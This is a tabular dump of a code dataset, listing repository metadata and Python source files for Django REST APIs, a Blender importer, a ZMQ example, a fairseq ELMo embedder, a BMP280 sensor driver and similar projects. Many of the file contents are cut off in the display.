hexsha stringlengths 40 40 | size int64 2 1.02M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 245 | max_stars_repo_name stringlengths 6 130 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 245 | max_issues_repo_name stringlengths 6 130 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 245 | max_forks_repo_name stringlengths 6 130 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 2 1.02M | avg_line_length float64 1 417k | max_line_length int64 1 987k | alphanum_fraction float64 0 1 | content_no_comment stringlengths 0 1.01M | is_comment_constant_removed bool 1
class | is_sharp_comment_removed bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1c48fbd1f218850d00277e57bd85964c568a70eb | 601 | py | Python | actions/create_job.py | martezr/stackstorm-nomad | 0659aef2be2e0b8247e32b85f4f37f16181c1068 | [
"Apache-2.0"
] | 1 | 2021-12-26T15:43:51.000Z | 2021-12-26T15:43:51.000Z | actions/create_job.py | martezr/stackstorm-nomad | 0659aef2be2e0b8247e32b85f4f37f16181c1068 | [
"Apache-2.0"
] | null | null | null | actions/create_job.py | martezr/stackstorm-nomad | 0659aef2be2e0b8247e32b85f4f37f16181c1068 | [
"Apache-2.0"
] | null | null | null | from lib import action
import nomad
class NomadParseJobAction(action.NomadBaseAction):
def run(self, file):
with open(file, "r") as nomad_job_file:
try:
job_raw_nomad = nomad_job_file.read()
job_dict = self.nomad.jobs.parse(job_raw_nomad)
output =... | 35.352941 | 72 | 0.592346 | from lib import action
import nomad
class NomadParseJobAction(action.NomadBaseAction):
def run(self, file):
with open(file, "r") as nomad_job_file:
try:
job_raw_nomad = nomad_job_file.read()
job_dict = self.nomad.jobs.parse(job_raw_nomad)
output =... | true | true |
1c48fd520ee956a849f583d2d50952c3f9107b0f | 557 | py | Python | tornado_overview/chapter01/blockio_test.py | mtianyan/TornadoForum | 5698dd5cc0e399d3d0ec53e159b8e1f1cddfbe71 | [
"Apache-2.0"
] | 2 | 2019-02-01T00:59:19.000Z | 2019-02-11T10:50:43.000Z | tornado_overview/chapter01/blockio_test.py | mtianyan/TornadoForum | 5698dd5cc0e399d3d0ec53e159b8e1f1cddfbe71 | [
"Apache-2.0"
] | null | null | null | tornado_overview/chapter01/blockio_test.py | mtianyan/TornadoForum | 5698dd5cc0e399d3d0ec53e159b8e1f1cddfbe71 | [
"Apache-2.0"
] | 1 | 2020-10-12T06:15:17.000Z | 2020-10-12T06:15:17.000Z | # 阻塞io
import socket
import requests
html = requests.get("http://www.baidu.com").text
# #1. 三次握手建立tcp连接,
# # 2. 等待服务器响应
print(html)
print("*" * 30)
# 如何通过socket直接获取html
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "www.baidu.com"
client.connect((host, 80)) # 阻塞io, 意味着这个时候cpu是空闲的
client.send("GET... | 20.62963 | 102 | 0.648115 | import socket
import requests
html = requests.get("http://www.baidu.com").text
print(html)
print("*" * 30)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "www.baidu.com"
client.connect((host, 80)) client.send("GET {} HTTP/1.1\r\nHost:{}\r\nConnection:close\r\n\r\n".format("/", host).encode("utf8")... | true | true |
1c48fe605bf6854476a409dc651aff4fe759c8b0 | 46,280 | py | Python | PCI2.py | jentron/Blender-PT2 | 30368229992388bb61fab51940a17e2eb114a9fd | [
"BSD-2-Clause"
] | 4 | 2020-07-11T12:30:30.000Z | 2022-02-11T01:00:35.000Z | PCI2.py | jentron/Blender-PT2 | 30368229992388bb61fab51940a17e2eb114a9fd | [
"BSD-2-Clause"
] | 43 | 2020-03-28T19:06:51.000Z | 2021-10-09T11:51:15.000Z | PCI2.py | jentron/Blender-PT2 | 30368229992388bb61fab51940a17e2eb114a9fd | [
"BSD-2-Clause"
] | 1 | 2020-05-16T06:44:57.000Z | 2020-05-16T06:44:57.000Z | #=============================================================================
# Simplified BSD License, see http://www.opensource.org/licenses/
#-----------------------------------------------------------------------------
# Copyright (c) 2011-2012, HEB Ventures, LLC
# Copyright (c) 2020, 2021, Ronald Jensen
# Al... | 35.84818 | 373 | 0.436063 |
import bpy
import time
import os
import re
from mathutils import *
from math import *
from bpy_extras import *
from bpy_extras.image_utils import load_image
from bpy.props import StringProperty, BoolProperty, EnumProperty
import sys
local_module_path=os.path.join(os.path.dirname(os.path.abspat... | true | true |
1c48fe87fdf6baca4133977f3a2e53032a912fe9 | 2,264 | py | Python | xam/ensemble/lgbm_cv.py | topolphukhanh/xam | 3fa958ba8b0c8e8e266cac9997b7a7d0c309f55c | [
"MIT"
] | 357 | 2017-03-23T19:07:31.000Z | 2022-03-11T09:08:07.000Z | xam/ensemble/lgbm_cv.py | topolphukhanh/xam | 3fa958ba8b0c8e8e266cac9997b7a7d0c309f55c | [
"MIT"
] | 8 | 2018-07-05T09:18:36.000Z | 2022-03-04T05:10:09.000Z | xam/ensemble/lgbm_cv.py | topolphukhanh/xam | 3fa958ba8b0c8e8e266cac9997b7a7d0c309f55c | [
"MIT"
] | 89 | 2017-03-24T22:12:39.000Z | 2022-02-14T15:47:41.000Z | import lightgbm as lgbm
import numpy as np
import pandas as pd
from sklearn import model_selection
from sklearn import utils
class LGBMCV():
def __init__(self, cv=model_selection.KFold(n_splits=5, shuffle=True), **kwargs):
self.cv = cv
self.lgbm_params = kwargs
def fit(self, X, y=None, **kwa... | 31.444444 | 95 | 0.565813 | import lightgbm as lgbm
import numpy as np
import pandas as pd
from sklearn import model_selection
from sklearn import utils
class LGBMCV():
def __init__(self, cv=model_selection.KFold(n_splits=5, shuffle=True), **kwargs):
self.cv = cv
self.lgbm_params = kwargs
def fit(self, X, y=None, **kwa... | true | true |
1c48ff1a98a5fae415b1409b2b640b5362bdfe08 | 2,357 | py | Python | chrome/common/extensions/docs/server2/redirector.py | kurli/chromium-crosswalk | f4c5d15d49d02b74eb834325e4dff50b16b53243 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 2 | 2018-11-24T07:58:44.000Z | 2019-02-22T21:02:46.000Z | chrome/common/extensions/docs/server2/redirector.py | carlosavignano/android_external_chromium_org | 2b5652f7889ccad0fbdb1d52b04bad4c23769547 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | chrome/common/extensions/docs/server2/redirector.py | carlosavignano/android_external_chromium_org | 2b5652f7889ccad0fbdb1d52b04bad4c23769547 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 3 | 2017-07-31T19:09:52.000Z | 2019-01-04T18:48:50.000Z | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import posixpath
from urlparse import urlsplit
from file_system import FileNotFoundError
from third_party.json_schema_compiler.json_parse import Parse
clas... | 33.671429 | 79 | 0.698345 |
import posixpath
from urlparse import urlsplit
from file_system import FileNotFoundError
from third_party.json_schema_compiler.json_parse import Parse
class Redirector(object):
def __init__(self, compiled_fs_factory, file_system, root_path):
self._root_path = root_path
self._file_system = file_system
s... | true | true |
1c48ff67557b59e0f6442687560f6b0bab68e410 | 5,974 | py | Python | hypernotes/__main__.py | binste/hypernotes | 4c9b82b7431f6af565318df58c03e764e9490eff | [
"MIT"
] | 3 | 2019-05-12T13:18:54.000Z | 2020-08-29T02:25:05.000Z | hypernotes/__main__.py | binste/hypernotes | 4c9b82b7431f6af565318df58c03e764e9490eff | [
"MIT"
] | null | null | null | hypernotes/__main__.py | binste/hypernotes | 4c9b82b7431f6af565318df58c03e764e9490eff | [
"MIT"
] | null | null | null | import argparse
import json
import sys
import textwrap
import webbrowser
from datetime import datetime
from http.server import BaseHTTPRequestHandler, HTTPServer
from json import JSONEncoder
from typing import List
from hypernotes import (
Note,
Store,
_all_keys_from_dicts,
_flatten_notes,
_format_... | 32.291892 | 147 | 0.565283 | import argparse
import json
import sys
import textwrap
import webbrowser
from datetime import datetime
from http.server import BaseHTTPRequestHandler, HTTPServer
from json import JSONEncoder
from typing import List
from hypernotes import (
Note,
Store,
_all_keys_from_dicts,
_flatten_notes,
_format_... | true | true |
1c48ffccdfa3319a9b61c00093524eea86090cba | 984 | py | Python | objects/CSCG/_2d/mesh/trace/elements/element/IS.py | mathischeap/mifem | 3242e253fb01ca205a76568eaac7bbdb99e3f059 | [
"MIT"
] | 1 | 2020-10-14T12:48:35.000Z | 2020-10-14T12:48:35.000Z | objects/CSCG/_2d/mesh/trace/elements/element/IS.py | mathischeap/mifem | 3242e253fb01ca205a76568eaac7bbdb99e3f059 | [
"MIT"
] | null | null | null | objects/CSCG/_2d/mesh/trace/elements/element/IS.py | mathischeap/mifem | 3242e253fb01ca205a76568eaac7bbdb99e3f059 | [
"MIT"
] | null | null | null | from screws.freeze.base import FrozenOnly
class _2dCSCG_TraceElement_IS(FrozenOnly):
""""""
def __init__(self, element):
""""""
self._element_ = element
self._shared_by_cores_ = None
self._freeze_self_()
@property
def on_mesh_boundary(self):
return self._ele... | 28.114286 | 99 | 0.601626 | from screws.freeze.base import FrozenOnly
class _2dCSCG_TraceElement_IS(FrozenOnly):
def __init__(self, element):
self._element_ = element
self._shared_by_cores_ = None
self._freeze_self_()
@property
def on_mesh_boundary(self):
return self._element_._ondb_
@propert... | true | true |
1c4900032cd45dc5468c37bdc9b924e6040e0960 | 11,860 | py | Python | majsoul/simulator.py | canuse/majsoul-record-parser | 33e7e42c5e852e44f4be8e79f6af07737b4f43af | [
"MIT"
] | 1 | 2019-12-03T12:12:37.000Z | 2019-12-03T12:12:37.000Z | majsoul/simulator.py | canuse/majsoul-record-parser | 33e7e42c5e852e44f4be8e79f6af07737b4f43af | [
"MIT"
] | 3 | 2019-11-28T10:09:42.000Z | 2019-12-20T14:04:20.000Z | majsoul/simulator.py | canuse/majsoul-record-parser | 33e7e42c5e852e44f4be8e79f6af07737b4f43af | [
"MIT"
] | null | null | null | from majsoul.parser import *
from majsoul.reasoner import *
from majsoul.template import *
class simulator:
def __init__(self, record: Game, username):
self.record = record
self.playername = username
self.users = record.players.playernames
self.posInUser = self.users.index(self.pla... | 46.509804 | 115 | 0.536509 | from majsoul.parser import *
from majsoul.reasoner import *
from majsoul.template import *
class simulator:
def __init__(self, record: Game, username):
self.record = record
self.playername = username
self.users = record.players.playernames
self.posInUser = self.users.index(self.pla... | true | true |
1c4900235bf1e0eb9fa5f69a5c4b5d09ce43d13e | 4,554 | py | Python | newprofiles_api/views.py | rayhaan12/newprofiles-rest-api | 4bff98a815f8773e0c1a90be354d5df5b2987034 | [
"MIT"
] | null | null | null | newprofiles_api/views.py | rayhaan12/newprofiles-rest-api | 4bff98a815f8773e0c1a90be354d5df5b2987034 | [
"MIT"
] | null | null | null | newprofiles_api/views.py | rayhaan12/newprofiles-rest-api | 4bff98a815f8773e0c1a90be354d5df5b2987034 | [
"MIT"
] | null | null | null |
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework import viewsets
from rest_framework.authentication import TokenAuthentication
from rest_framework import filters
from rest_framework.authtoken.views import ObtainAuthToken
from re... | 35.030769 | 76 | 0.66996 |
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework import viewsets
from rest_framework.authentication import TokenAuthentication
from rest_framework import filters
from rest_framework.authtoken.views import ObtainAuthToken
from re... | true | true |
1c490055f5f4562ff857ac82287c7b72e90656c7 | 11,830 | py | Python | lib/python/treadmill/cli/__init__.py | vrautela/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | null | null | null | lib/python/treadmill/cli/__init__.py | vrautela/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | 1 | 2017-09-18T10:36:12.000Z | 2017-09-18T10:36:12.000Z | lib/python/treadmill/cli/__init__.py | evreng/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | null | null | null | """Treadmill commaand line helpers.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
# Disable too many lines in module warning.
#
# pylint: disable=C0302
import codecs
import copy
import functools
import io
impor... | 27.704918 | 78 | 0.594928 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import codecs
import copy
import functools
import io
import logging
import os
import pkgutil
import re
import sys
import traceback
import click
import six
from six.mo... | true | true |
1c49017bb9ee1597a023b8f28ea2fa9d21d3b4ee | 1,468 | py | Python | ocropy/normalize.py | GuillaumeDesforges/ocr-enpc | 2d92561ce8f239bcbc90dd666e3e5711e311da01 | [
"MIT"
] | 1 | 2018-05-03T13:40:42.000Z | 2018-05-03T13:40:42.000Z | ocropy/normalize.py | GuillaumeDesforges/ocr-enpc | 2d92561ce8f239bcbc90dd666e3e5711e311da01 | [
"MIT"
] | null | null | null | ocropy/normalize.py | GuillaumeDesforges/ocr-enpc | 2d92561ce8f239bcbc90dd666e3e5711e311da01 | [
"MIT"
] | null | null | null | # coding: unicode
import os
import codecs
import unicodedata
print("Script deprecated : path was hard set in the script, change it or do not use this script")
path = "C:\\Users\\teovi\\Documents\\ocropy\\book"
os.chdir(path)
compteur=0
strchar=""
for folder in os.listdir(path):
for file in os.listdir(path+"\\"+... | 28.230769 | 97 | 0.557221 |
import os
import codecs
import unicodedata
print("Script deprecated : path was hard set in the script, change it or do not use this script")
path = "C:\\Users\\teovi\\Documents\\ocropy\\book"
os.chdir(path)
compteur=0
strchar=""
for folder in os.listdir(path):
for file in os.listdir(path+"\\"+folder):
i... | true | true |
1c490274108d5768a6bcbaabd2f373b211f3f15d | 101 | py | Python | venv/Lib/site-packages/xero_python/assets/api/__init__.py | RobMilinski/Xero-Starter-Branched-Test | c82382e674b34c2336ee164f5a079d6becd1ed46 | [
"MIT"
] | 77 | 2020-02-16T03:50:18.000Z | 2022-03-11T03:53:26.000Z | venv/Lib/site-packages/xero_python/assets/api/__init__.py | RobMilinski/Xero-Starter-Branched-Test | c82382e674b34c2336ee164f5a079d6becd1ed46 | [
"MIT"
] | 50 | 2020-04-06T10:15:52.000Z | 2022-03-29T21:27:50.000Z | venv/Lib/site-packages/xero_python/assets/api/__init__.py | RobMilinski/Xero-Starter-Branched-Test | c82382e674b34c2336ee164f5a079d6becd1ed46 | [
"MIT"
] | 27 | 2020-06-04T11:16:17.000Z | 2022-03-19T06:27:36.000Z | # flake8: noqa
# import apis into api package
from xero_python.assets.api.asset_api import AssetApi
| 20.2 | 53 | 0.80198 |
from xero_python.assets.api.asset_api import AssetApi
| true | true |
1c49033f05e9e0790baf8ce9b9950502c82c3278 | 606 | py | Python | opconsole/migrations/0023_auto_20170502_2024.py | baalkor/timetracking | 35a1650ceffa55e0ff7ef73b63e5f3457dc07612 | [
"Apache-2.0"
] | 1 | 2017-06-05T10:52:13.000Z | 2017-06-05T10:52:13.000Z | opconsole/migrations/0023_auto_20170502_2024.py | baalkor/timetracking | 35a1650ceffa55e0ff7ef73b63e5f3457dc07612 | [
"Apache-2.0"
] | 2 | 2017-05-10T20:47:33.000Z | 2017-05-10T20:49:24.000Z | opconsole/migrations/0023_auto_20170502_2024.py | baalkor/timetracking | 35a1650ceffa55e0ff7ef73b63e5f3457dc07612 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-05-03 02:24
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('opconsole', '0022_auto_20170502_0758'),
]
operations = [
migrations.AddFiel... | 23.307692 | 52 | 0.590759 | from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('opconsole', '0022_auto_20170502_0758'),
]
operations = [
migrations.AddField(
model_name='employes',
name='enable',
... | true | true |
1c49037ff6e473a89af4860bbc9a341ab81fa67b | 2,881 | py | Python | galileo/framework/pytorch/python/unsupervised.py | YaoPu2021/galileo | 0ebee2052bf78205f93f8cbbe0e2884095dd7af7 | [
"Apache-2.0"
] | 115 | 2021-09-09T03:01:58.000Z | 2022-03-30T10:46:26.000Z | galileo/framework/pytorch/python/unsupervised.py | Hacky-DH/galileo | e4d5021f0287dc879730dfa287b9a056f152f712 | [
"Apache-2.0"
] | 1 | 2021-12-09T07:34:41.000Z | 2021-12-20T06:24:27.000Z | galileo/framework/pytorch/python/unsupervised.py | Hacky-DH/galileo | e4d5021f0287dc879730dfa287b9a056f152f712 | [
"Apache-2.0"
] | 28 | 2021-09-10T08:47:20.000Z | 2022-03-17T07:29:26.000Z | # Copyright 2020 JD.com, Inc. Galileo Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by a... | 36.0125 | 80 | 0.660535 |
from collections import OrderedDict
import torch
from torch.nn import Module
from galileo.framework.python.base_unsupervised import BaseUnsupervised
from galileo.platform.export import export
from galileo.framework.pytorch.python.metrics import get_metric
from galileo.framework.pytorch.python.losses import get_loss
... | true | true |
1c49046e7409be20302d3973b96a35a62ee3e76a | 150 | py | Python | school/simpleApi/apps.py | kiarashplusplus/PaperPileSchool | 40f91eea15d743bd22f918cec42e9c778b3d6d7d | [
"MIT"
] | null | null | null | school/simpleApi/apps.py | kiarashplusplus/PaperPileSchool | 40f91eea15d743bd22f918cec42e9c778b3d6d7d | [
"MIT"
] | null | null | null | school/simpleApi/apps.py | kiarashplusplus/PaperPileSchool | 40f91eea15d743bd22f918cec42e9c778b3d6d7d | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class SimpleapiConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'simpleApi'
| 21.428571 | 56 | 0.766667 | from django.apps import AppConfig
class SimpleapiConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'simpleApi'
| true | true |
1c49062476515aed231866528eec2b58762011d2 | 4,570 | py | Python | openstack_dashboard/dashboards/project/networks/subnets/tables.py | aristanetworks/horizon | 6b4ba5194d46360bf1a436b6f9531facfbf5084a | [
"Apache-2.0"
] | null | null | null | openstack_dashboard/dashboards/project/networks/subnets/tables.py | aristanetworks/horizon | 6b4ba5194d46360bf1a436b6f9531facfbf5084a | [
"Apache-2.0"
] | null | null | null | openstack_dashboard/dashboards/project/networks/subnets/tables.py | aristanetworks/horizon | 6b4ba5194d46360bf1a436b6f9531facfbf5084a | [
"Apache-2.0"
] | null | null | null | # Copyright 2012 NEC Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 35.153846 | 78 | 0.66674 |
import logging
from django.core.urlresolvers import reverse
from django.core.urlresolvers import reverse_lazy
from django.utils.translation import ugettext_lazy as _
from horizon import exceptions
from horizon import tables
from horizon.utils import memoized
from openstack_dashboard import api
LOG = logging.getLo... | true | true |
1c4906852776569e2ce7369dcfd53d2a135ae29a | 3,279 | py | Python | contrib/zmq/zmq_sub3.4.py | planbcoin/planbcoin | 7d132eebdce94f34ca2e74278b5ca09dc012d164 | [
"MIT"
] | null | null | null | contrib/zmq/zmq_sub3.4.py | planbcoin/planbcoin | 7d132eebdce94f34ca2e74278b5ca09dc012d164 | [
"MIT"
] | null | null | null | contrib/zmq/zmq_sub3.4.py | planbcoin/planbcoin | 7d132eebdce94f34ca2e74278b5ca09dc012d164 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2014-2016 The PlanBcoin developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""
ZMQ example using python3's asyncio
Planbcoin should be started with the command line arguments... | 36.433333 | 111 | 0.649588 |
import binascii
import asyncio
import zmq
import zmq.asyncio
import signal
import struct
import sys
if not (sys.version_info.major >= 3 and sys.version_info.minor >= 4):
print("This example only works with Python 3.4 and greater")
exit(1)
port = 29067
class ZMQHandler():
def __init__(self):
sel... | true | true |
1c490765321bf0d9ddbb802fbb128e59f4873dde | 12,666 | py | Python | fairseq/modules/fb_elmo_token_embedder.py | xwhan/fairseq-wklm | 9c7c927fca75cd2b08c0207ff7f7682ed95a98e0 | [
"BSD-3-Clause"
] | null | null | null | fairseq/modules/fb_elmo_token_embedder.py | xwhan/fairseq-wklm | 9c7c927fca75cd2b08c0207ff7f7682ed95a98e0 | [
"BSD-3-Clause"
] | null | null | null | fairseq/modules/fb_elmo_token_embedder.py | xwhan/fairseq-wklm | 9c7c927fca75cd2b08c0207ff7f7682ed95a98e0 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the LICENSE file in
# the root directory of this source tree. An additional grant of patent rights
# can be found in the PATENTS file in the same directory.
from typing import Dict, List
imp... | 37.362832 | 119 | 0.614085 |
from typing import Dict, List
import torch
from torch import nn
from fairseq.models import FairseqLanguageModel
from fairseq.utils import buffered_arange
class ElmoTokenEmbedder(nn.Module):
def __init__(
self,
language_model: FairseqLanguageModel,
eos: int,
pad: int,
tu... | true | true |
1c49078093350cc356b92ffcba2ca52a4bbe112b | 598 | py | Python | application/functions/utils.py | HM-SYS/Hackathon2018 | 9cac5db855f8ca7c4a65061eba4a2e9ab60721b9 | [
"Apache-2.0"
] | 3 | 2018-09-18T00:27:18.000Z | 2018-10-26T12:15:42.000Z | application/functions/utils.py | HM-SYS/Hackathon2018 | 9cac5db855f8ca7c4a65061eba4a2e9ab60721b9 | [
"Apache-2.0"
] | 12 | 2018-09-05T06:08:43.000Z | 2021-03-31T06:54:07.000Z | application/functions/utils.py | HM-SYS/Hackathon2018 | 9cac5db855f8ca7c4a65061eba4a2e9ab60721b9 | [
"Apache-2.0"
] | 5 | 2018-09-01T09:41:40.000Z | 2018-10-07T11:45:36.000Z | import os
import cv2
def load_image(file_path):
module_dir, _ = os.path.split(os.path.realpath(__file__))
absolute_path = os.path.join(module_dir, file_path)
image = cv2.imread(absolute_path)
# (h, w, c), uint8
# Change BGR to RGB
image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
return image
... | 29.9 | 66 | 0.692308 | import os
import cv2
def load_image(file_path):
module_dir, _ = os.path.split(os.path.realpath(__file__))
absolute_path = os.path.join(module_dir, file_path)
image = cv2.imread(absolute_path)
image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
return image
def save_image(image, file_path):
... | true | true |
1c490794f5f23d7f2b260743a6cdd0d3790f83c1 | 2,967 | py | Python | lib/bmp280.py | natnqweb/Circuitpython-bmp280 | 9a79e1f6b5f0d53628d0e3a9f4fa0fdf65c82179 | [
"Apache-2.0"
] | null | null | null | lib/bmp280.py | natnqweb/Circuitpython-bmp280 | 9a79e1f6b5f0d53628d0e3a9f4fa0fdf65c82179 | [
"Apache-2.0"
] | null | null | null | lib/bmp280.py | natnqweb/Circuitpython-bmp280 | 9a79e1f6b5f0d53628d0e3a9f4fa0fdf65c82179 | [
"Apache-2.0"
] | null | null | null | import time
import board
from Simpletimer import simpletimer
import busio
import adafruit_bmp280
from digitalio import DigitalInOut, Direction, Pull
class BMP280:
def __init__(self,device_address=0x76,scl=board.GP5,sda=board.GP4,led_pin=board.GP25,sea_level_pressure=1017,temp_offset=-2.7):
... | 43 | 218 | 0.667004 | import time
import board
from Simpletimer import simpletimer
import busio
import adafruit_bmp280
from digitalio import DigitalInOut, Direction, Pull
class BMP280:
def __init__(self,device_address=0x76,scl=board.GP5,sda=board.GP4,led_pin=board.GP25,sea_level_pressure=1017,temp_offset=-2.7):
... | true | true |
1c4907d49248464dc73ddb83b04157b6a1e21988 | 970 | py | Python | migrations/versions/c0a92da5ac69_create_request_table.py | uc-cdis/requestor | 2054de283b37bb97243f1fe7305d42d8fdfa1888 | [
"Apache-2.0"
] | 2 | 2021-03-04T23:08:50.000Z | 2021-07-12T13:48:06.000Z | migrations/versions/c0a92da5ac69_create_request_table.py | uc-cdis/requestor | 2054de283b37bb97243f1fe7305d42d8fdfa1888 | [
"Apache-2.0"
] | 25 | 2020-08-24T20:18:23.000Z | 2022-02-17T23:34:52.000Z | migrations/versions/c0a92da5ac69_create_request_table.py | uc-cdis/requestor | 2054de283b37bb97243f1fe7305d42d8fdfa1888 | [
"Apache-2.0"
] | null | null | null | """create request table
Revision ID: c0a92da5ac69
Revises:
Create Date: 2020-08-18 13:40:12.031174
"""
import sqlalchemy as sa
from alembic import op
from sqlalchemy.dialects import postgresql
# revision identifiers, used by Alembic.
revision = "c0a92da5ac69"
down_revision = None
branch_labels = None
depends_on = No... | 26.944444 | 67 | 0.679381 | import sqlalchemy as sa
from alembic import op
from sqlalchemy.dialects import postgresql
revision = "c0a92da5ac69"
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
op.create_table(
"requests",
sa.Column("request_id", postgresql.UUID(), nullable=False),
sa.Column... | true | true |
1c4909f1abd01799b2eb57c4291d44dbf66be59e | 4,478 | py | Python | src/azure-cli/azure/cli/command_modules/acs/_client_factory.py | heaths/azure-cli | baae1d17ffc4f3abfeccea17116bfd61de5770f1 | [
"MIT"
] | 1 | 2019-11-15T17:28:05.000Z | 2019-11-15T17:28:05.000Z | src/azure-cli/azure/cli/command_modules/acs/_client_factory.py | heaths/azure-cli | baae1d17ffc4f3abfeccea17116bfd61de5770f1 | [
"MIT"
] | 1 | 2021-06-02T00:40:34.000Z | 2021-06-02T00:40:34.000Z | src/azure-cli/azure/cli/command_modules/acs/_client_factory.py | heaths/azure-cli | baae1d17ffc4f3abfeccea17116bfd61de5770f1 | [
"MIT"
] | 1 | 2019-11-25T19:33:05.000Z | 2019-11-25T19:33:05.000Z | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 39.280702 | 109 | 0.702546 |
from azure.cli.core.commands.client_factory import get_mgmt_service_client
from azure.cli.core.commands.parameters import get_resources_in_subscription
from azure.cli.core.profiles import ResourceType
from knack.util import CLIError
def cf_compute_service(cli_ctx, *_):
return get_mgmt_service_client(cli_ctx, Res... | true | true |
1c490bdffe401b976343f5470b288a8b93ec6bba | 714 | py | Python | clock.py | Jownao/Clock_RealTIme | b3ca1ca88b5051f28d055d2bcd17c2107de3e007 | [
"MIT"
] | null | null | null | clock.py | Jownao/Clock_RealTIme | b3ca1ca88b5051f28d055d2bcd17c2107de3e007 | [
"MIT"
] | null | null | null | clock.py | Jownao/Clock_RealTIme | b3ca1ca88b5051f28d055d2bcd17c2107de3e007 | [
"MIT"
] | null | null | null | from tkinter import *
from tkinter import ttk
from tkinter import font
import time
import datetime
def quit(*args):
root.destroy()
def clock_time():
time = datetime.datetime.now()
time = (time.strftime("%H:%M:%S"))
txt.set(time)
root.after(1000,clock_time)
root = Tk()
root.attributes("-fullscr... | 22.3125 | 95 | 0.70028 | from tkinter import *
from tkinter import ttk
from tkinter import font
import time
import datetime
def quit(*args):
root.destroy()
def clock_time():
time = datetime.datetime.now()
time = (time.strftime("%H:%M:%S"))
txt.set(time)
root.after(1000,clock_time)
root = Tk()
root.attributes("-fullscr... | true | true |
1c490c19f2b012bad0afacdd8c59b7c1426d59e5 | 1,934 | py | Python | gimmebio/ponce_de_leon/gimmebio/ponce_de_leon/io_utils.py | Chandrima-04/gimmebio | cb3e66380006d5c5c00ff70bfb87317dd252c312 | [
"MIT"
] | 3 | 2020-01-21T23:49:55.000Z | 2020-07-29T17:02:30.000Z | gimmebio/ponce_de_leon/gimmebio/ponce_de_leon/io_utils.py | Chandrima-04/gimmebio | cb3e66380006d5c5c00ff70bfb87317dd252c312 | [
"MIT"
] | null | null | null | gimmebio/ponce_de_leon/gimmebio/ponce_de_leon/io_utils.py | Chandrima-04/gimmebio | cb3e66380006d5c5c00ff70bfb87317dd252c312 | [
"MIT"
] | 4 | 2020-01-21T16:48:17.000Z | 2020-03-13T15:34:52.000Z | from pysam import AlignmentFile as SamFile
import gzip
def remove_ext(filename, extensions):
ext = filename.split('.')[-1]
if ext in extensions:
without_ext = '.'.join(filename.split('.')[:-1])
return remove_ext(without_ext, extensions)
else:
return filename
def iter_chunks(handl... | 22.229885 | 71 | 0.576008 | from pysam import AlignmentFile as SamFile
import gzip
def remove_ext(filename, extensions):
ext = filename.split('.')[-1]
if ext in extensions:
without_ext = '.'.join(filename.split('.')[:-1])
return remove_ext(without_ext, extensions)
else:
return filename
def iter_chunks(handl... | true | true |
1c490cee1fa1b4454900d769b260481d43b71339 | 144 | py | Python | Apps/phnetskope/__init__.py | mattsayar-splunk/phantom-apps | b719b78ded609ae3cbd62d7d2cc317db1a613d3b | [
"Apache-2.0"
